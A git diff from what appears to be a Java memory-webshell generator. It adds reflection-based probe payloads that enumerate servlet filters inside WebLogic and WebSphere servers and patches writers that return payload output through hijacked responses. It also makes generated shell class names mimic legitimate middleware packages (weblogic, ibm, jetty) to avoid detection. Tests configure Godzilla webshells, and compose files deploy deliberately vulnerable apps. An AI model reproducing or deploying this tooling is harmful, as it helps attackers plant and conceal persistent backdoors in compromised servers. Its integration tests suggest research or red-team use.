} + return msg.toString(); + } + + @SuppressWarnings("unchecked") + private List> collectFiltersData(Object context) throws Exception { + // context -> weblogic.servlet.internal.WebAppServletContext + // filterManager -> weblogic.servlet.internal.FilterManager + Object filterManager = getFieldValue(context, "filterManager"); + Map filters = (Map) getFieldValue(filterManager, "filters"); + List filterPatternList = (ArrayList) getFieldValue(filterManager, "filterPatternList"); + List filterServletList = (ArrayList) getFieldValue(filterManager, "filterServletList"); + Map> aggregatedData = new LinkedHashMap<>(); + for (Object filterInfo : filterPatternList) { + // filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo + Object urlMap = getFieldValue(filterInfo, "map"); + String filterName = (String) getFieldValue(filterInfo, "filterName"); + if (filterName == null) { + // WebLogic 10.3.6 + Object[] mapValues = (Object[]) invokeMethod(urlMap, "values", null, null); + filterName = ((String) mapValues[0]); + } + Map info = fillFilterInfo(aggregatedData, filterName, filters); + String[] urlPatterns = (String[]) invokeMethod(urlMap, "keys", null, null); + if (urlPatterns != null) { + ((Set) info.get("urlPatterns")).addAll(Arrays.asList(urlPatterns)); + } + } + for (Object filterInfo : filterServletList) { + // filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo + String filterName = (String) getFieldValue(filterInfo, "filterName"); + Map info = fillFilterInfo(aggregatedData, filterName, filters); + String servletName = (String) getFieldValue(filterInfo, "servletName"); + if (servletName != null) { + ((Set) info.get("servletNames")).add(servletName); + } + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + private static Map fillFilterInfo(Map> aggregatedData, String filterName, Map filters) throws Exception { + if (!aggregatedData.containsKey(filterName)) { + // filterWrapper -> weblogic.servlet.internal.FilterWrapper + Object filterWrapper = filters.get(filterName); + String filterClassName = null; + try { + filterClassName = (String) getFieldValue(filterWrapper, "filterClassName"); + } catch (NoSuchFieldException e) { + // WebLogic 10.3.6 + filterClassName = (String) getFieldValue(filterWrapper, "filterclass"); + } + if (filterClassName == null) { + Object filter = getFieldValue(filterWrapper, "filter"); + if (filter != null) { + filterClassName = filter.getClass().getName(); + } + } + Map info = new HashMap<>(); + info.put("filterName", filterName); + info.put("filterClass", filterClassName); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(filterName, info); + } + return aggregatedData.get(filterName); + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + + /** + * weblogic.servlet.internal.WebAppServletContext + * /opt/oracle/wls1036/server/lib/weblogic.jar + * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar + */ + public static Set getContext() throws Exception { + Set webappContexts = new HashSet(); + MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer(); + Map objectsByObjectName = (Map) getFieldValue(platformMBeanServer, "objectsByObjectName"); + for (Map.Entry entry : objectsByObjectName.entrySet()) { + String key = entry.getKey(); + if (key.contains("Type=WebAppComponentRuntime")) { + Object value = entry.getValue(); + Object managedResource = getFieldValue(value, "managedResource"); + if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) { + webappContexts.add(getFieldValue(managedResource, "context")); + } + } + } + try { + Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); + Object request = null; + try { + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + request = getFieldValue(connectionHandler, "request"); + } catch (Exception x) { + // WebLogic 10.3.6 + request = workEntry; + } + if (request != null) { + webappContexts.add(getFieldValue(request, "context")); + } + } catch (Throwable ignored) { + } + return webappContexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebSphereFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebSphereFilterProbe.java new file mode 100644 index 00000000..ad22d962 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebSphereFilterProbe.java @@ -0,0 +1,285 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class WebSphereFilterProbe { + + @Override + @SuppressWarnings("Duplicates") + public String toString() { + StringBuilder msg = new StringBuilder(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + Map>> allFiltersData = new LinkedHashMap>>(); + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + } + return msg.toString(); + } + + @SuppressWarnings("unchecked") + private List> collectFiltersData(Object context) throws Exception { + // context -> com.ibm.ws.webcontainer.webapp.WebAppImpl + Map> aggregatedData = new LinkedHashMap<>(); + // filterManager -> com.ibm.ws.webcontainer.filter.WebAppFilterManager + Object filterManager = getFieldValue(context, "filterManager"); + // webAppConfig -> com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl + Object webAppConfig = getFieldValue(context, "config"); + try { + // WebLogic 12+ + List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos"); + for (Object uriFilterMappingInfo : uriFilterMappingInfos) { + // uriFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping + Map info = filterFilterInfo1(uriFilterMappingInfo, aggregatedData); + String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null); + if (urlPattern != null && !urlPattern.isEmpty()) { + ((Set) info.get("urlPatterns")).add(urlPattern); + } + } + List servletFilterMappingInfos = (List) getFieldValue(webAppConfig, "servletFilterMappingInfos"); + for (Object servletFilterMappingInfo : servletFilterMappingInfos) { + // servletFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping + Map info = filterFilterInfo1(servletFilterMappingInfo, aggregatedData); + String servletName = (String) invokeMethod(invokeMethod(servletFilterMappingInfo, "getServletConfig"), "getServletName"); + if (servletName != null && !servletName.isEmpty()) { + ((Set) info.get("servletNames")).add(servletName); + } + } + } catch (Throwable throwable) { + // WebLogic 10.3.6 + List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings"); + for (Object uriFilterMapping : uriFilterMappings) { + // uriFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo + Map info = fillFilterInfo2(uriFilterMapping, aggregatedData, webAppConfig); + String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI"); + if (urlPattern != null && !urlPattern.isEmpty()) { + ((Set) info.get("urlPatterns")).add(urlPattern); + } + } + List servletFilterMappings = (List) getFieldValue(filterManager, "_servletFilterMappings"); + for (Object servletFilterMapping : servletFilterMappings) { + // servletFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo + Map info = fillFilterInfo2(servletFilterMapping, aggregatedData, webAppConfig); + String servletName = (String) getFieldValue(servletFilterMapping, "_filterServlet"); + if (servletName != null && !servletName.isEmpty()) { + ((Set) info.get("servletNames")).add(servletName); + } + } + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + private static Map filterFilterInfo1(Object uriFilterMappingInfo, Map> aggregatedData) throws Exception { + Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig"); + String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null); + if (!aggregatedData.containsKey(filterName)) { + String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null); + Map info = new HashMap<>(); + info.put("filterName", filterName); + info.put("filterClass", filterClassName); + info.put("urlPatterns", new LinkedHashSet<>()); + info.put("servletNames", new LinkedHashSet<>()); + aggregatedData.put(filterName, info); + } + return aggregatedData.get(filterName); + } + + private static Map fillFilterInfo2(Object servletFilterMapping, Map> aggregatedData, Object webAppConfig) throws Exception { + String filterName = (String) getFieldValue(servletFilterMapping, "_filterName"); + if (!aggregatedData.containsKey(filterName)) { + Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName}); + String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null); + Map info = new HashMap<>(); + info.put("filterName", filterName); + info.put("filterClass", filterClassName); + info.put("urlPatterns", new LinkedHashSet<>()); + info.put("servletNames", new LinkedHashSet<>()); + aggregatedData.put(filterName, info); + } + return aggregatedData.get(filterName); + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + + /** + * com.ibm.ws.webcontainer.webapp.WebAppImpl + * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Object[] threadLocals = null; + boolean raw = false; + try { + // WebSphere Liberty + threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); + } catch (NoSuchFieldException ignored) { + } + if (threadLocals == null) { + // Open Liberty + threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); + raw = true; + } + for (Object threadLocal : threadLocals) { + if (threadLocal == null) { + continue; + } + Object value = threadLocal; + if (raw) { + value = getFieldValue(threadLocal, "value"); + } + if (value == null) { + continue; + } + // for websphere 7.x + if (value.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(value, "stack"); + for (Object stack : stackList) { + try { + Object config = getFieldValue(stack, "config"); + contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); + } catch (Exception ignored) { + } + } + } else if (value.getClass().getName().endsWith("WebContainerRequestState")) { + Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null); + contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context")); + } + } + return contexts; + } + + public static Object invokeMethod(Object obj, String methodName) throws Exception { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java index a569507d..f199c40b 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java @@ -1,7 +1,5 @@ package com.reajason.javaweb.probe.payload.response; -import org.eclipse.jetty.util.Callback; - import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.io.PrintStream; @@ -72,7 +70,8 @@ public JettyWriter() { } catch (Exception x) { invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200}); ByteBuffer content = UTF_8.encode(result); - invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null}); + Class callBackClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.util.Callback"); + invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, callBackClass}, new Object[]{true, content, null}); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java index f9966702..a565b4d5 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java @@ -22,17 +22,35 @@ public WebSphereWriter() { return; } try { - Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); - for (Object wsThreadLocal : wsThreadLocals) { - if (wsThreadLocal == null) { + Object[] threadLocals = null; + boolean raw = false; + try { + // WebSphere Liberty + threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); + } catch (NoSuchFieldException ignored) { + } + if (threadLocals == null) { + // Open Liberty + threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); + raw = true; + } + for (Object threadLocal : threadLocals) { + if (threadLocal == null) { + continue; + } + Object value = threadLocal; + if (raw) { + value = getFieldValue(threadLocal, "value"); + } + if (value == null) { continue; } // com.ibm.wsspi.webcontainer.WebContainerRequestState - if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) { + if (value.getClass().getName().endsWith("WebContainerRequestState")) { // com.ibm.ws.webcontainer.srt.SRTServletRequest - Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"); + Object request = getFieldValue(value, "currentThreadsIExtendedRequest"); // com.ibm.ws.webcontainer.srt.SRTServletResponse - Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse"); + Object response = getFieldValue(value, "currentThreadsIExtendedResponse"); String data = getDataFromReq(request); if (data != null && !data.isEmpty()) { String result = ""; diff --git a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java index 98e49f11..62afddb9 100644 --- a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java @@ -96,8 +96,9 @@ public static String getPackageName(String className) { return className.substring(0, className.lastIndexOf(".")); } - public static String generateShellClassName() { - return getRandomPackageName() + ".ErrorHandler"; + public static String generateClassName() { + String randomString = getRandomString(5); + return getRandomPackageName() + ".Error" + randomString.substring(0, 1).toUpperCase() + randomString.substring(1).toLowerCase() + "Handler"; } public static String generateInjectorClassName() { @@ -111,38 +112,35 @@ public static String appendLambdaSuffix(String className) { return className + "$Proxy0$$Lambda$1"; } - public static String generateShellClassName(String server, String shellType) { - String packageName; + public static String getWebPackageNameForServer(String server) { switch (server) { case Jetty: - packageName = "org.eclipse.jetty.servlet.handlers"; - break; + return "org.eclipse.jetty.servlet.handlers"; case Undertow: - packageName = "io.undertow.servlet.handlers"; - break; + return "io.undertow.servlet.handlers"; case SpringWebMvc: - packageName = "org.springframework.boot.mvc.handlers"; - break; + return "org.springframework.boot.mvc.handlers"; case SpringWebFlux: - packageName = "org.springframework.boot.webflux.handlers"; - break; + return "org.springframework.boot.webflux.handlers"; case WebSphere: - packageName = "com.ibm.ws.webcontainer.handlers"; - break; + return "com.ibm.ws.webcontainer.handlers"; case WebLogic: - packageName = "weblogic.servlet.internal.handlers"; - break; + return "weblogic.servlet.internal.handlers"; case Resin: - packageName = "com.caucho.server.dispatch.handlers"; - break; + return "com.caucho.server.dispatch.handlers"; case BES: - packageName = "com.bes.enterprise.webtier.web.handlers"; - break; + return "com.bes.enterprise.webtier.web.handlers"; + case Apusic: + return "com.apusic.web.handlers"; + case InforSuite: + return "com.cvicse.inforsuite.web.handlers"; default: - packageName = "org.apache.http.web.handlers"; - break; + return "org.apache.http.web.handlers"; } - return packageName + } + + public static String generateShellClassName(String server, String shellType) { + return getWebPackageNameForServer(server) + "." + getRandomString(5) + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java index 9909e716..8f9e052a 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java @@ -30,8 +30,8 @@ class CustomShellGeneratorTest { void testListener() { byte[] bytes = new ByteBuddy() .redefine(CommandListener.class) - .name(CommonUtil.generateShellClassName()).make().getBytes(); - String className = CommonUtil.generateShellClassName(); + .name(CommonUtil.generateClassName()).make().getBytes(); + String className = CommonUtil.generateClassName(); ShellConfig shellConfig = ShellConfig.builder() .server(Server.Tomcat) .shellType(ShellType.LISTENER) @@ -52,8 +52,8 @@ void testListener() { void testFilter() { byte[] bytes = new ByteBuddy() .subclass(Object.class) - .name(CommonUtil.generateShellClassName()).make().getBytes(); - String className = CommonUtil.generateShellClassName(); + .name(CommonUtil.generateClassName()).make().getBytes(); + String className = CommonUtil.generateClassName(); ShellConfig shellConfig = ShellConfig.builder() .shellType(ShellType.FILTER) .build(); @@ -72,8 +72,8 @@ void testFilter() { void testValue() { byte[] bytes = new ByteBuddy() .redefine(GodzillaValve.class) - .name(CommonUtil.generateShellClassName()).make().getBytes(); - String className = CommonUtil.generateShellClassName(); + .name(CommonUtil.generateClassName()).make().getBytes(); + String className = CommonUtil.generateClassName(); ShellConfig shellConfig = ShellConfig.builder() .server(Server.BES) .shellType(ShellType.VALVE) diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java index 284604db..9eb0f8a0 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java @@ -33,7 +33,7 @@ void generate() { .build(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() .shellClass(GodzillaServlet.class) - .shellClassName(CommonUtil.generateShellClassName()) + .shellClassName(CommonUtil.generateClassName()) .pass("pass") .key("key") .headerName("User-Agent") diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 6d5dacd5..7f1b0c65 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -24,7 +24,7 @@ hamcrest = "3.0" junit-jupiter = "5.14.1" junit-pioneer = "2.3.0" junit-platform = "1.14.1" -testcontainers = "2.0.2" +testcontainers = "2.0.3" [libraries] byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } diff --git a/integration-test/docker-compose/websphere/open-liberty-18.0.0.4-docker-compose.yaml b/integration-test/docker-compose/websphere/open-liberty-18.0.0.4-docker-compose.yaml new file mode 100644 index 00000000..a547cc6c --- /dev/null +++ b/integration-test/docker-compose/websphere/open-liberty-18.0.0.4-docker-compose.yaml @@ -0,0 +1,11 @@ +services: + open-liberty-18: + image: open-liberty:18.0.0.4-webProfile8 + platform: linux/amd64 + ports: + - "9080:9080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/websphere/open-liberty-20.0.0.12-docker-compose.yaml b/integration-test/docker-compose/websphere/open-liberty-20.0.0.12-docker-compose.yaml new file mode 100644 index 00000000..f84e22ee --- /dev/null +++ b/integration-test/docker-compose/websphere/open-liberty-20.0.0.12-docker-compose.yaml @@ -0,0 +1,11 @@ +services: + open-liberty-20: + image: open-liberty:20.0.0.12-full-java8-openj9 + platform: linux/amd64 + ports: + - "9080:9080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/websphere/open-liberty-22.0.0.12-docker-compose.yaml b/integration-test/docker-compose/websphere/open-liberty-22.0.0.12-docker-compose.yaml new file mode 100644 index 00000000..e1c97caf --- /dev/null +++ b/integration-test/docker-compose/websphere/open-liberty-22.0.0.12-docker-compose.yaml @@ -0,0 +1,11 @@ +services: + open-liberty-22: + image: open-liberty:22.0.0.12-full-java11-openj9 + platform: linux/amd64 + ports: + - "9080:9080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp-jakarta.war:/config/dropins/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/websphere/open-liberty-25.0.0.12-docker-compose.yaml b/integration-test/docker-compose/websphere/open-liberty-25.0.0.12-docker-compose.yaml new file mode 100644 index 00000000..2291c6b3 --- /dev/null +++ b/integration-test/docker-compose/websphere/open-liberty-25.0.0.12-docker-compose.yaml @@ -0,0 +1,11 @@ +services: + open-liberty-25: + image: open-liberty:25.0.0.12-full-java17-openj9 + platform: linux/amd64 + ports: + - "9080:9080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/wildfly/docker-compose-26.yaml b/integration-test/docker-compose/wildfly/docker-compose-26.yaml new file mode 100644 index 00000000..a0205a70 --- /dev/null +++ b/integration-test/docker-compose/wildfly/docker-compose-26.yaml @@ -0,0 +1,11 @@ +services: + wildfly26: + image: quay.io/wildfly/wildfly:26.1.3.Final-jdk11 + container_name: wildfly26 + ports: + - 8080:8080 + - 5005:5005 + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 + volumes: + - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/wildfly/docker-compose-27.yaml b/integration-test/docker-compose/wildfly/docker-compose-27.yaml new file mode 100644 index 00000000..cb17f69f --- /dev/null +++ b/integration-test/docker-compose/wildfly/docker-compose-27.yaml @@ -0,0 +1,11 @@ +services: + wildfly27: + image: quay.io/wildfly/wildfly:27.0.1.Final-jdk11 + container_name: wildfly27 + ports: + - 8080:8080 + - 5005:5005 + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 + volumes: + - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/opt/jboss/wildfly/standalone/deployments/app.war \ No newline at end of file diff --git a/integration-test/script/websphere_pid.sh b/integration-test/script/websphere_pid.sh index d011fc34..6e6cb308 100755 --- a/integration-test/script/websphere_pid.sh +++ b/integration-test/script/websphere_pid.sh @@ -1,2 +1,2 @@ #!/bin/bash -pgrep -f WSLauncher | tr -d '\n' \ No newline at end of file +pgrep -f 'WSLauncher|ws-server.jar' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index a86830c1..ce2a63d1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -15,7 +15,7 @@ public class ContainerTool { public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath()); public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath()); - public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath()); + public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666); public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath()); public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath(); @@ -43,28 +43,32 @@ public class ContainerTool { public static String getUrl(GenericContainer container) { int port = container.getMappedPort(8080); - String url = "http://127.0.0.1:" + port + "/app"; + String host = container.getHost(); + String url = "http://" + host + ":" + port + "/app"; log.info("container started, app url is : {}", url); return url; } public static String getUrlFromSpringBoot(GenericContainer container) { int port = container.getMappedPort(8080); - String url = "http://127.0.0.1:" + port; + String host = container.getHost(); + String url = "http://" + host + ":" + port; log.info("container started, app url is : {}", url); return url; } 